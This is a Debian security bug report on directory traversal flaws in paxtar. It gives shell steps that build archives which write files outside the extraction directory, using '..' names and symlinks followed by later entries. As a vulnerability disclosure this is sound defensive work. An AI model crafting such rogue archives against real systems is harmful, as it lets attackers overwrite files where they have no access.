Bug#774716: paxtar: directory traversal vulnerabilities

[Alexander Cherepanov <cherepan@mccme.ru>]

Package: pax
Version: 1:20140703-2
Tags: security

paxtar is susceptible to directory traversal vulnerabilities. They can 
be exploited by a rogue archive to write files outside the current 
directory.

1. paxtar will extract files with .. components in names.

For example, let's create a sample archive:

  echo hello > ../file
  paxtar cvf test.tar ../file
  rm ../file

and then test it:

  paxtar xvf test.tar

This will create a file "../file".

2. While extracting an archive, it will extract symlinks and then follow 
them if they are referenced in further entries.

For example, let's create a sample archive:

  ln -s /tmp dir
  paxtar cvf test.tar dir
  rm dir
  mkdir dir
  echo hello > dir/file
  paxtar rvf test.tar dir/file
  rm -r dir

and then test it:

  paxtar xvf test.tar

This will create a symlink "dir" in the current directory and a file 
"/tmp/file".

--
Alexander Cherepanov